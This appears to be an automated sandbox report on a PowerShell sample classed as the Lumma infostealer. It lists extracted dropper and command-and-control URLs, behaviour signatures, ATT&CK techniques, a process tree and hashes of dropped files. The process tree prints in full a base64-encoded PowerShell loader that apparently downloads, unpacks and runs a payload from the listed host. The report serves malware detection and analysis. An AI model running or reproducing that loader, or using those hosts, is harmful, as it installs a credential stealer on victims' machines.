lumma | 22b607cba20413cd4363dd69d04d7ecda694ce3cf514f965a74c3605c7793248

Resubmissions

01/06/2024, 22:49

240601-2rysrahf3t10

01/06/2024, 22:44

240601-2n2egahd8s8

01/06/2024, 22:34

240601-2g9ghahg4910

Analysis

max time kernel
149s
max time network
151s
platform
windows10-2004_x64
resource
win10v2004-20240508-en
resource tags

arch:x64arch:x86image:win10v2004-20240508-enlocale:en-usos:windows10-2004-x64system
submitted
01/06/2024, 22:49

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
randomscript.ps1
Size 1KB
Sample240601-2rysrahf3t
SHA256 22b607cba20413cd4363dd69d04d7ecda694ce3cf514f965a74c3605c7793248
MD5 322d6110a033d0aadfc40c14b8668fc7
SHA1 810a4c158b6016c990ac9653e89a6e9af79d578c
SHA512 8e7c57e67c61ef9480f29232015a375718ae4defcf2603069da297dac0e4c4792f2f95371fda521c7fae8e077d38bdb34c5169d9fddc45064b37488a1d5e0699
MD5 SHA1 SHA512

Score

10^/10

lumma execution stealer

Malware Config

Extracted

Language

Source

URLs

exe.dropper
https://drinkresources.rest/df/data.zip
exe.dropper
https://stats.drinkresources.rest/post.php?status=2
exe.dropper
https://stats.drinkresources.rest/post.php?status=3

Extracted

Family

lumma

https://grazeinnocenttyyek.shop/api
https://horsedwollfedrwos.shop/api
https://patternapplauderw.shop/api
https://understanndtytonyguw.shop/api
https://considerrycurrentyws.shop/api
https://messtimetabledkolvk.shop/api
https://detailbaconroollyws.shop/api
https://deprivedrinkyfaiir.shop/api
https://relaxtionflouwerwi.shop/api

Signatures

Lumma Stealer
An infostealer written in C++ first seen in August 2022.
stealer lumma

Blocklisted process makes network request 4 IoCs

flow	pid	Process
9	3200	powershell.exe
15	3200	powershell.exe
25	3180	powershell.exe
40	3180	powershell.exe

Executes dropped EXE 2 IoCs

pid	Process
1776	WinNc.exe
5036	WinNc.exe

Loads dropped DLL 5 IoCs

pid	Process
1776	WinNc.exe
1776	WinNc.exe
5036	WinNc.exe
5036	WinNc.exe
744	FOP_Authv3.au3

Enumerates connected drives 3 TTPs 46 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
File opened (read-only)	\??\b:	WinNc.exe
File opened (read-only)	\??\s:	WinNc.exe
File opened (read-only)	\??\m:	WinNc.exe
File opened (read-only)	\??\w:	WinNc.exe
File opened (read-only)	\??\y:	WinNc.exe
File opened (read-only)	\??\l:	WinNc.exe
File opened (read-only)	\??\g:	WinNc.exe
File opened (read-only)	\??\t:	WinNc.exe
File opened (read-only)	\??\v:	WinNc.exe
File opened (read-only)	\??\q:	WinNc.exe
File opened (read-only)	\??\b:	WinNc.exe
File opened (read-only)	\??\k:	WinNc.exe
File opened (read-only)	\??\r:	WinNc.exe
File opened (read-only)	\??\x:	WinNc.exe
File opened (read-only)	\??\v:	WinNc.exe
File opened (read-only)	\??\h:	WinNc.exe
File opened (read-only)	\??\o:	WinNc.exe
File opened (read-only)	\??\q:	WinNc.exe
File opened (read-only)	\??\s:	WinNc.exe
File opened (read-only)	\??\h:	WinNc.exe
File opened (read-only)	\??\i:	WinNc.exe
File opened (read-only)	\??\p:	WinNc.exe
File opened (read-only)	\??\z:	WinNc.exe
File opened (read-only)	\??\p:	WinNc.exe
File opened (read-only)	\??\k:	WinNc.exe
File opened (read-only)	\??\o:	WinNc.exe
File opened (read-only)	\??\w:	WinNc.exe
File opened (read-only)	\??\i:	WinNc.exe
File opened (read-only)	\??\a:	WinNc.exe
File opened (read-only)	\??\u:	WinNc.exe
File opened (read-only)	\??\e:	WinNc.exe
File opened (read-only)	\??\g:	WinNc.exe
File opened (read-only)	\??\j:	WinNc.exe
File opened (read-only)	\??\n:	WinNc.exe
File opened (read-only)	\??\t:	WinNc.exe
File opened (read-only)	\??\y:	WinNc.exe
File opened (read-only)	\??\e:	WinNc.exe
File opened (read-only)	\??\j:	WinNc.exe
File opened (read-only)	\??\a:	WinNc.exe
File opened (read-only)	\??\m:	WinNc.exe
File opened (read-only)	\??\r:	WinNc.exe
File opened (read-only)	\??\u:	WinNc.exe
File opened (read-only)	\??\x:	WinNc.exe
File opened (read-only)	\??\l:	WinNc.exe
File opened (read-only)	\??\n:	WinNc.exe
File opened (read-only)	\??\z:	WinNc.exe

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 5036 set thread context of 2588	5036	WinNc.exe	102

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
3200	powershell.exe
3180	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Gathers network information 2 TTPs 1 IoCs

Uses commandline utility to view network configuration.

System Information Discovery

T1082

Command and Scripting Interpreter

T1059

pid	Process
3084	ipconfig.exe

Suspicious behavior: EnumeratesProcesses 9 IoCs

pid	Process
3200	powershell.exe
3200	powershell.exe
3180	powershell.exe
3180	powershell.exe
1776	WinNc.exe
5036	WinNc.exe
5036	WinNc.exe
2588	cmd.exe
2588	cmd.exe

Suspicious behavior: MapViewOfSection 2 IoCs

pid	Process
5036	WinNc.exe
2588	cmd.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	3200	powershell.exe
Token: SeDebugPrivilege	3180	powershell.exe

Suspicious use of FindShellTrayWindow 2 IoCs

pid	Process
1776	WinNc.exe
5036	WinNc.exe

Suspicious use of SetWindowsHookEx 6 IoCs

pid	Process
1776	WinNc.exe
1776	WinNc.exe
1776	WinNc.exe
5036	WinNc.exe
5036	WinNc.exe
5036	WinNc.exe

Suspicious use of WriteProcessMemory 17 IoCs

description	pid	Process	procid_target
PID 3200 wrote to memory of 3084	3200	powershell.exe	85
PID 3200 wrote to memory of 3084	3200	powershell.exe	85
PID 3200 wrote to memory of 3180	3200	powershell.exe	89
PID 3200 wrote to memory of 3180	3200	powershell.exe	89
PID 3180 wrote to memory of 1776	3180	powershell.exe	100
PID 3180 wrote to memory of 1776	3180	powershell.exe	100
PID 1776 wrote to memory of 5036	1776	WinNc.exe	101
PID 1776 wrote to memory of 5036	1776	WinNc.exe	101
PID 5036 wrote to memory of 2588	5036	WinNc.exe	102
PID 5036 wrote to memory of 2588	5036	WinNc.exe	102
PID 5036 wrote to memory of 2588	5036	WinNc.exe	102
PID 5036 wrote to memory of 2588	5036	WinNc.exe	102
PID 2588 wrote to memory of 744	2588	cmd.exe	105
PID 2588 wrote to memory of 744	2588	cmd.exe	105
PID 2588 wrote to memory of 744	2588	cmd.exe	105
PID 2588 wrote to memory of 744	2588	cmd.exe	105
PID 2588 wrote to memory of 744	2588	cmd.exe	105

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell.exe -ExecutionPolicy bypass -File C:\Users\Admin\AppData\Local\Temp\randomscript.ps1
1⤵
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3200
- C:\Windows\system32\ipconfig.exe
  "C:\Windows\system32\ipconfig.exe" /flushdns
  2⤵
  - Gathers network information
  PID:3084
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand JAB3ADgAVgAyAHAAWgAgAD0AIAB7AAoAIAAgACAAIAAkAHAANABZADcAawBMACAAPQAgAEcAZQB0AC0AUgBhAG4AZABvAG0AIAAtAE0AaQBuAGkAbQB1AG0AIAAzADEAMAAwACAALQBNAGEAeABpAG0AdQBtACAANQAxADAAMAA7ACAAUwB0AGEAcgB0AC0AUwBsAGUAZQBwACAALQBNAGkAbABsAGkAcwBlAGMAbwBuAGQAcwAgACQAcAA0AFkANwBrAEwACgAgACAAIAAgAFsATgBlAHQALgBTAGUAcgB2AGkAYwBlAFAAbwBpAG4AdABNAGEAbgBhAGcAZQByAF0AOgA6AFMAZQBjAHUAcgBpAHQAeQBQAHIAbwB0AG8AYwBvAGwAIAA9ACAAWwBOAGUAdAAuAFMAZQBjAHUAcgBpAHQAeQBQAHIAbwB0AG8AYwBvAGwAVAB5AHAAZQBdADoAOgBUAGwAcwAxADIAIAAtAGIAbwByACAAWwBOAGUAdAAuAFMAZQBjAHUAcgBpAHQAeQBQAHIAbwB0AG8AYwBvAGwAVAB5AHAAZQBdADoAOgBUAGwAcwAxADEAIAAtAGIAbwByACAAWwBOAGUAdAAuAFMAZQBjAHUAcgBpAHQAeQBQAHIAbwB0AG8AYwBvAGwAVAB5AHAAZQBdADoAOgBUAGwAcwAgAC0AYgBvAHIAIABbAE4AZQB0AC4AUwBlAGMAdQByAGkAdAB5AFAAcgBvAHQAbwBjAG8AbABUAHkAcABlAF0AOgA6AFMAcwBsADMACgAgACAAIAAgACQAdQAzAE4ANgBiAEMAIAA9ACAAOAA7ACAAJABzADUAWAA5AGUAUgAgAD0AIAAxADUAOwAgACQAYQA4AFQANABtAFcAIAA9ACAARwBlAHQALQBSAGEAbgBkAG8AbQAgAC0ATQBpAG4AaQBtAHUAbQAgACQAdQAzAE4ANgBiAEMAIAAtAE0AYQB4AGkAbQB1AG0AIAAoACQAcwA1AFgAOQBlAFIAIAArACAAMQApAAoAIAAgACAAIAAkAG8AOQBMADEAcQBKACAAPQAgACcAYQBiAGMAZABlAGYAZwBoAGkAagBrAGwAbQBuAG8AcABxAHIAcwB0AHUAdgB3AHgAeQB6AEEAQgBDAEQARQBGAEcASABJAEoASwBMAE0ATgBPAFAAUQBSAFMAVABVAFYAVwBYAFkAWgAwADEAMgAzADQANQA2ADcAOAA5ACcACgAgACAAIAAgACQAZAA1AEsAOAB4AFEAIAA9ACAALQBqAG8AaQBuACAAKAAxAC4ALgAkAGEAOABUADQAbQBXACAAfAAgAEYAbwByAEUAYQBjAGgALQBPAGIAagBlAGMAdAAgAHsAIABHAGUAdAAtAFIAYQBuAGQAbwBtACAALQBJAG4AcAB1AHQATwBiAGoAZQBjAHQAIAAkAG8AOQBMADEAcQBKAC4AVABvAEMAaABhAHIAQQByAHIAYQB5ACgAKQAgAH0AKQAKACAAIAAgACAAJAByADcAUAAzAGMASAAgAD0AIABKAG8AaQBuAC0AUABhAHQAaAAgACQAZQBuAHYAOgBUAEUATQBQACAAIgAkAGQANQBLADgAeABRACIAOwAgAE4AZQB3AC0ASQB0AGUAbQAgAC0ASQB0AGUAbQBUAHkAcABlACAARABpAHIAZQBjAHQAbwByAHkAIAAtAFAAYQB0AGgAIAAkAHIANwBQADMAYwBIACAALQBFAHIAcgBvAHIAQQBjAHQAaQBvAG4AIABTAGkAbABlAG4AdABsAHkAQwBvAG4AdABpAG4AdQBlAAoAIAAgACAAIAAkAG0ANgBFADQAagBWACAAPQAgAC0AagBvAGkAbgAgACgAMQAuAC4AJABhADgAVAA0AG0AVwAgAHwAIABGAG8AcgBFAGEAYwBoAC0ATwBiAGoAZQBjAHQAIAB7ACAARwBlAHQALQBSAGEAbgBkAG8AbQAgAC0ASQBuAHAAdQB0AE8AYgBqAGUAYwB0ACAAJABvADkATAAxAHEASgAuAFQAbwBDAGgAYQByAEEAcgByAGEAeQAoACkAIAB9ACkAIAArACAAJwAuAHoAaQBwACcACgAgACAAIAAgACQAegAzAEcAOAB3AEYAIAA9ACAAWwBTAHkAcwB0AGUAbQAuAFQAZQB4AHQALgBFAG4AYwBvAGQAaQBuAGcAXQA6ADoAVQBUAEYAOAAuAEcAZQB0AFMAdAByAGkAbgBnACgAWwBTAHkAcwB0AGUAbQAuAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACcAYQBIAFIAMABjAEgATQA2AEwAeQA5AGsAYwBtAGwAdQBhADMASgBsAGMAMgA5ADEAYwBtAE4AbABjAHkANQB5AFoAWABOADAATAAyAFIAbQBMADIAUgBoAGQARwBFAHUAZQBtAGwAdwAnACkAKQAKACAAIAAgACAAJABrADQAVgA5AGoATQAgAD0AIABKAG8AaQBuAC0AUABhAHQAaAAgACQAcgA3AFAAMwBjAEgAIAAkAG0ANgBFADQAagBWADsAIAAkAHQANQBXADIAbwBEACAAPQAgAEAAewAgACcAVQBzAGUAcgAtAEEAZwBlAG4AdAAnACAAPQAgACcATQBvAHoAaQBsAGwAYQAvADUALgAwACAAKABXAGkAbgBkAG8AdwBzACAATgBUACAAMQAwAC4AMAA7ACAAVwBpAG4ANgA0ADsAIAB4ADYANAApACAAQQBwAHAAbABlAFcAZQBiAEsAaQB0AC8ANQAzADcALgAzADYAIAAoAEsASABUAE0ATAAsACAAbABpAGsAZQAgAEcAZQBjAGsAbwApACAAQwBoAHIAbwBtAGUALwAyADMALgAwAC4AMAAuADAAIABTAGEAZgBhAHIAaQAvADUAMwA3AC4AMwA2ACcAIAB9AAoAIAAgACAAIAB3AGgAaQBsAGUAIAAoACQAdAByAHUAZQApACAAewAKACAAIAAgACAAIAAgACAAIAB0AHIAeQAgAHsACgAgACAAIAAgACAAIAAgACAAIAAgACAAIABJAG4AdgBvAGsAZQAtAFcAZQBiAFIAZQBxAHUAZQBzAHQAIAAtAFUAcgBpACAAJAB6ADMARwA4AHcARgAgAC0ATwB1AHQARgBpAGwAZQAgACQAawA0AFYAOQBqAE0AIAAtAEgAZQBhAGQAZQByAHMAIAAkAHQANQBXADIAbwBEACAALQBFAHIAcgBvAHIAQQBjAHQAaQBvAG4AIABTAGkAbABlAG4AdABsAHkAQwBvAG4AdABpAG4AdQBlAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAaQBmACAAKABUAGUAcwB0AC0AUABhAHQAaAAgACQAawA0AFYAOQBqAE0AKQAgAHsACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACQAeAA0AFQAMgByAEYAIAA9ACAAWwBTAHkAcwB0AGUAbQAuAFQAZQB4AHQALgBFAG4AYwBvAGQAaQBuAGcAXQA6ADoAVQBUAEYAOAAuAEcAZQB0AFMAdAByAGkAbgBnACgAWwBTAHkAcwB0AGUAbQAuAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACcAYQBIAFIAMABjAEgATQA2AEwAeQA5AHoAZABHAEYAMABjAHkANQBrAGMAbQBsAHUAYQAzAEoAbABjADIAOQAxAGMAbQBOAGwAYwB5ADUAeQBaAFgATgAwAEwAMwBCAHYAYwAzAFEAdQBjAEcAaAB3AFAAMwBOADAAWQBYAFIAMQBjAHoAMAB5ACcAKQApAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIABJAG4AdgBvAGsAZQAtAFcAZQBiAFIAZQBxAHUAZQBzAHQAIAAtAFUAcgBpACAAJAB4ADQAVAAyAHIARgAgAC0ATQBlAHQAaABvAGQAIABQAE8AUwBUACAALQBIAGUAYQBkAGUAcgBzACAAJAB0ADUAVwAyAG8ARAAgAC0ARQByAHIAbwByAEEAYwB0AGkAbwBuACAAUwBpAGwAZQBuAHQAbAB5AEMAbwBuAHQAaQBuAHUAZQA7ACAAYgByAGUAYQBrAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQAKACAAIAAgACAAIAAgACAAIAB9ACAAYwBhAHQAYwBoACAAewAgAFMAdABhAHIAdAAtAFMAbABlAGUAcAAgAC0AUwBlAGMAbwBuAGQAcwAgADUAIAB9AAoAIAAgACAAIAB9AAoAIAAgACAAIABFAHgAcABhAG4AZAAtAEEAcgBjAGgAaQB2AGUAIAAtAFAAYQB0AGgAIAAkAGsANABWADkAagBNACAALQBEAGUAcwB0AGkAbgBhAHQAaQBvAG4AUABhAHQAaAAgACQAcgA3AFAAMwBjAEgAIAAtAEUAcgByAG8AcgBBAGMAdABpAG8AbgAgAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAOwAgAFMAdABhAHIAdAAtAFMAbABlAGUAcAAgAC0AUwBlAGMAbwBuAGQAcwAgADIACgAgACAAIAAgACQAbgA4AFUANAB0AFMAIAA9ACAAJABmAGEAbABzAGUACgAgACAAIAAgAEcAZQB0AC0AQwBoAGkAbABkAEkAdABlAG0AIAAtAFAAYQB0AGgAIAAkAHIANwBQADMAYwBIACAALQBGAGkAbAB0AGUAcgAgACoALgBlAHgAZQAgAHwAIABGAG8AcgBFAGEAYwBoAC0ATwBiAGoAZQBjAHQAIAB7AAoAIAAgACAAIAAgACAAIAAgACQAaQAzAEoANgBwAFgAIAA9ACAATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ARABpAGEAZwBuAG8AcwB0AGkAYwBzAC4AUAByAG8AYwBlAHMAcwBTAHQAYQByAHQASQBuAGYAbwAKACAAIAAgACAAIAAgACAAIAAkAGkAMwBKADYAcABYAC4ARgBpAGwAZQBOAGEAbQBlACAAPQAgACQAXwAuAEYAdQBsAGwATgBhAG0AZQAKACAAIAAgACAAIAAgACAAIAAkAHkAMgBIADUAdgBRACAAPQAgAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAEQAaQBhAGcAbgBvAHMAdABpAGMAcwAuAFAAcgBvAGMAZQBzAHMACgAgACAAIAAgACAAIAAgACAAJAB5ADIASAA1AHYAUQAuAFMAdABhAHIAdABJAG4AZgBvACAAPQAgACQAaQAzAEoANgBwAFgACgAgACAAIAAgACAAIAAgACAAaQBmACAAKAAkAHkAMgBIADUAdgBRAC4AUwB0AGEAcgB0ACgAKQApACAAewAgACQAbgA4AFUANAB0AFMAIAA9ACAAJAB0AHIAdQBlACAAfQAKACAAIAAgACAAfQAKACAAIAAgACAAaQBmACAAKAAkAG4AOABVADQAdABTACkAIAB7AAoAIAAgACAAIAAgACAAIAAgACQAdQAxAEsANQB5AFoAIAA9ACAAWwBTAHkAcwB0AGUAbQAuAFQAZQB4AHQALgBFAG4AYwBvAGQAaQBuAGcAXQA6ADoAVQBUAEYAOAAuAEcAZQB0AFMAdAByAGkAbgBnACgAWwBTAHkAcwB0AGUAbQAuAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACcAYQBIAFIAMABjAEgATQA2AEwAeQA5AHoAZABHAEYAMABjAHkANQBrAGMAbQBsAHUAYQAzAEoAbABjADIAOQAxAGMAbQBOAGwAYwB5ADUAeQBaAFgATgAwAEwAMwBCAHYAYwAzAFEAdQBjAEcAaAB3AFAAMwBOADAAWQBYAFIAMQBjAHoAMAB6ACcAKQApAAoAIAAgACAAIAAgACAAIAAgAEkAbgB2AG8AawBlAC0AVwBlAGIAUgBlAHEAdQBlAHMAdAAgAC0AVQByAGkAIAAkAHUAMQBLADUAeQBaACAALQBNAGUAdABoAG8AZAAgAFAATwBTAFQAIAAtAEgAZQBhAGQAZQByAHMAIAAkAHQANQBXADIAbwBEACAALQBFAHIAcgBvAHIAQQBjAHQAaQBvAG4AIABTAGkAbABlAG4AdABsAHkAQwBvAG4AdABpAG4AdQBlAAoAIAAgACAAIAB9AAoAfQAKACQAdwA4AFYAMgBwAFoALgBJAG4AdgBvAGsAZQAoACkAIAB8ACAATwB1AHQALQBOAHUAbABsAAoAJAB3ADgAVgAyAHAAWgAgAD0AIABbAHMAYwByAGkAcAB0AGIAbABvAGMAawBdADoAOgBDAHIAZQBhAHQAZQAoACcAZQB4ACcAKwAnAGkAdAAnACkAOwAgACYAJAB3ADgAVgAyAHAAWgA=
  2⤵
  - Blocklisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:3180
- - C:\Users\Admin\AppData\Local\Temp\0a3Why1ik\WinNc.exe
    "C:\Users\Admin\AppData\Local\Temp\0a3Why1ik\WinNc.exe"
    3⤵
    - Executes dropped EXE
    - Loads dropped DLL
    - Enumerates connected drives
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of FindShellTrayWindow
    - Suspicious use of SetWindowsHookEx
    - Suspicious use of WriteProcessMemory
    PID:1776
  - - C:\Users\Admin\AppData\Roaming\Fj_update_v5\WinNc.exe
      C:\Users\Admin\AppData\Roaming\Fj_update_v5\WinNc.exe
      4⤵
      Executes dropped EXE
      Loads dropped DLL
      Enumerates connected drives
      Suspicious use of SetThreadContext
      Suspicious behavior: EnumeratesProcesses
      Suspicious behavior: MapViewOfSection
      Suspicious use of FindShellTrayWindow
      Suspicious use of SetWindowsHookEx
      Suspicious use of WriteProcessMemory
      PID:5036
    - - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\SysWOW64\cmd.exe
        5⤵
        Suspicious behavior: EnumeratesProcesses
        Suspicious behavior: MapViewOfSection
        Suspicious use of WriteProcessMemory
        
        PID:2588
      - C:\Users\Admin\AppData\Local\Temp\FOP_Authv3.au3
        
        C:\Users\Admin\AppData\Local\Temp\FOP_Authv3.au3
        6⤵
        Loads dropped DLL
        
        PID:744

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Peripheral Device Discovery

T1120

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

powershell.exe.log

Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Size 3KB
SHA256 952ba3299c6f841b28da4548a8d0855a4f345c48f64f2628e46cba4a4e753c32
MD5 578ff57bca8df357f2c8cdaf7165f6ed
SHA1 8736846edce3d9435ced2aa525c3b06fe260a983
SHA512 5d3df2cab3a3d72df074cb53d1472508f29a31c1a8569e9b1d80b86a149bd415e6a8ad3fd00226c7335b9d86614a1975c9d3f6728fe7b702335e659f6b7e7116
MD5 SHA1 SHA512

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 c08ffab8fe2e586ab6461be3fa0cb8ef205911e115a6b2244d7d25c57512e352
MD5 dd43b4842d22d0dbe25ec6d4c1a563a3
SHA1 69845bc09f7164914171c74d283a2c4cb7b16ab3
SHA512 c99b868375d8455000156d5bc777de36a309baa8c00d7a7bf43e293e2d92b2832bc203b7f3cabe4e8370d8dd37afd1826a5d550602c3b3df61917efd2d6c248e
MD5 SHA1 SHA512

Submit Download

7z.dll

Path C:\Users\Admin\AppData\Local\Temp\0a3Why1ik\7z.dll
Size 1.4MB
SHA256 15b10608affd4442d0e2ddb9b2fea847cd15d5405928d78ab73d81dae66db9e4
MD5 23a37370f275aa63255dfcc703951c37
SHA1 79e6cfa11747b633eb3d742d62dbed93a7b5f0d7
SHA512 98c917274b5bc9d005de4d53390bbecf1e685a42c6460db0503f36c27c4fba76048aae90064e78e81a1e6b9317a87d4e6f8e32317f63cc6f9c0704e8837dbe61
SSDEEP 12288:i/HBx5Byjg5f1t0dwQzZKZ03HGLIIdE4gtND+3PxAN2h6QoAhM0ZYN3cOqfnebcn:yBxB0dwvZ03HGLIqCWf3DeitpBQDtHh
MD5 SHA1 SHA512 SSDEEP

Submit Download

Changes.txt

Path C:\Users\Admin\AppData\Local\Temp\0a3Why1ik\Changes.txt
Size 65KB
SHA256 6ca51ff7d55c035df40661219b56de7c00350bbd87772cb0a57189a24d4fe987
MD5 f240b64249575418937142613a18d6d2
SHA1 8a63a1839c5b5a099d4583972d23ff6aaf87ee2a
SHA512 fa8297f5117b2ccfc1134fcb48db1908573a4f4705d37ef0bb62c2cc103f97665ea9e5ae90a15879fdec46fada248355d7403582ad3d48896fd96b7c28b0894c
SSDEEP 1536:2d0ZZNgCg4p6UdUKe/cEdQbgD+TLoliVg0Ko:20ZSUdhekEGQ+QSF
MD5 SHA1 SHA512 SSDEEP

Submit Download

Colors.ini

Path C:\Users\Admin\AppData\Local\Temp\0a3Why1ik\Colors.ini
Size 6KB
SHA256 a9d578c52418dcd65bb8694cfba23be1bddbd703908ceab535fd0c4ed01e75a3
MD5 72a502b416df16b5368db7d06836a9de
SHA1 015a8a4df10c0988477f5a69e44152ad1a90e237
SHA512 2e5ccc6e38e533af799fc56bd5ee90cbb9ffe631daf74e0f5cd0e97dd6eebb2ddbe9095532737f1b381157cc77a5df3997ce6572b35028de76e549e13604b41b
SSDEEP 96:sPWx12aK3hTiHpc95bB8iEf2oxFKdVbYBkMh6h4Bg9RLpFHCJ2X1sPj+hmJXZtvM:sPU12aK3gHp0g8ytBKRL7qFj+hmJZ2
MD5 SHA1 SHA512 SSDEEP

Submit Download

Drive.ico

Path C:\Users\Admin\AppData\Local\Temp\0a3Why1ik\Drive.ico
Size 24KB
SHA256 85cb1befded0b2a9125f22fe0fee7875030ec88d8ae4bf8395565ab8f3218341
MD5 d7f7ea5129480611ccddefa4b4345b14
SHA1 c0403442a5713dc4ff275fca41848347de97cbfd
SHA512 7353549f77b74cb461942856edba5eecfe65a8c0b519dff3578204d607bf8dbe207719d5a474700c17e69b490a2afea067f7fe8d7dd1e501338d2bdf13a318f1
SSDEEP 192:35MPwhPy0q/SK9klNQhQmQSsM6jDL5ukOXzbKDeMH2ap8dW5MRu3o/:pc4XusmdO4kOXPSot
MD5 SHA1 SHA512 SSDEEP

Submit Download

Find.ico

Path C:\Users\Admin\AppData\Local\Temp\0a3Why1ik\Find.ico
Size 26KB
SHA256 b25c319bd185fec214bd28d885dcc7a1609f0a08e2e3bd88291368444c5ae5e3
MD5 b67fc654fb82cf28004c30c07d00ff6b
SHA1 767109e054fc0c571e51fa7d4f230ff5f3262d40
SHA512 1bf456278d9c90cc0a2187cc6f33a47d48cf7688c9a2ea3c392408a4b5f5f8c9329cdde30a3d6273873ceab2ae9aa19f210f025914e18042ec397571de7d5e12
SSDEEP 192:k3vCSrm++MESaD7TMyrE9V3e5sHP1DxS1CtP6ACas04SvuxBY2X:k3K5vMyTMyrEb3e5iP1DI1wiaQsAeI
MD5 SHA1 SHA512 SSDEEP

Submit Download

Find_.ico

Path C:\Users\Admin\AppData\Local\Temp\0a3Why1ik\Find_.ico
Size 41KB
SHA256 b08419e753072537e2ef83b6c56ed0a0592e89963cee70d3caf9da5aa049943d
MD5 164cba34a6ab532188c21e6e2c9d99ed
SHA1 c2a5a3b662377d8cd4159a923b4b07fc17f3123e
SHA512 5a78c166338def5a97d9caea0bb43b19e607e663a52d2e9b6aa3ef150f19af3b9524257a9c26a57bccf5d1265578c00f4e3e2642dfc9d3f5d4a1f6529e7291dd
SSDEEP 48:2GM0lhooHeHooeooooooeoooooo6X7spAWupJpi1cn0XHHHPPPPPPP/f/en7ZH3+:7M0ltXiyZH3H3NdhF33P2OYxg8P6dudF
MD5 SHA1 SHA512 SSDEEP

Submit Download

Lang_de.ini

Path C:\Users\Admin\AppData\Local\Temp\0a3Why1ik\Lang_de.ini
Size 110KB
SHA256 32ba428d5d916906fdef2189d031c9863c44c5f92e992e110147c99eefdf5763
MD5 b8fbc85f8cdeda4f68355365d0af1194
SHA1 6617b1310ba526354c50f013c0b8a3b45a2a5011
SHA512 723b4b701efb8642fa182077d1d3bff6b040f984c59b339f5788a0329237a12ffa34917dbe65691a602470980492039602a6ae2023e50486c959a5f0f84f5356
SSDEEP 3072:VBh+6L06Lm6bs6b9Z7Z72B2xvHckrau2a08qUUtMQbn9rEKGk05nnsiUt6iyl5Mj:fmvZ
MD5 SHA1 SHA512 SSDEEP

Submit Download

Lang_es.ini

Path C:\Users\Admin\AppData\Local\Temp\0a3Why1ik\Lang_es.ini
Size 104KB
SHA256 b0f5408c1d42511b5fecd5f9dd4438e041e18ace640591ae6e5a2c9b629f6969
MD5 7ad3f35c79a309b5fc67f44c374dade3
SHA1 a3d45f8d22d46161f5f4333c9adec40a577e71de
SHA512 6859b3a7c8df1c6a1615e0665ac60ec0410b0f26dafb456525796f3a91eaefccbc6227962f5e2a9ac10bbf1e5e2b72c1780fc787d4093855496c8c9a36cd3797
SSDEEP 768:AE90bTUuD9i0bli57zXBFOhlhjx325nJ45sAtKK+LohsCEm0BpgGwZzqnI:A1UuD9i0bli5ZMhlkZIcoV0OYI
MD5 SHA1 SHA512 SSDEEP

Submit Download

Lang_fa.ini

Path C:\Users\Admin\AppData\Local\Temp\0a3Why1ik\Lang_fa.ini
Size 94KB
SHA256 8abe57ed3f9f377009ff2cd09a8f065fbe44934ecf152c5ef1092ca090e7d8da
MD5 272fb0b96d1c2ab596bc25207f4230ed
SHA1 8e27e8d4b3443c5441f44278098aa003ba217309
SHA512 178eab02ceb8f61a7331063d27caeaf402c38ca44aea2a168e657172658ecc0268e9c5048363b9e375f052e76c87c29c34ef1142c11bc0bf9c90f04b0c07fab5
SSDEEP 1536:ykmYm3mWwI4xmTNvfnpwtPep7TItzUu3SvqX+WjP0LSCWaRL:Zm3mWwI4x0VyPqTItQlqX+W2S0
MD5 SHA1 SHA512 SSDEEP

Submit Download

Lang_fr.ini

Path C:\Users\Admin\AppData\Local\Temp\0a3Why1ik\Lang_fr.ini
Size 109KB
SHA256 bbba55dd0dce3aa8ed7c648e219fd58e48ed646d2a5e3a3082f30975f5ecae19
MD5 bf2c682351207872f9a615e8563bd1f7
SHA1 47b96c6e1a4aef91bf788eab15e0cedd952b51ed
SHA512 6610350cbb163b93206c821b37bac104e92ed39cd72e1d5f047c52c63a389863f1f251cff95848c1a7b16e3042e8d893e0a973a379fa824946572ed9dfa17dec
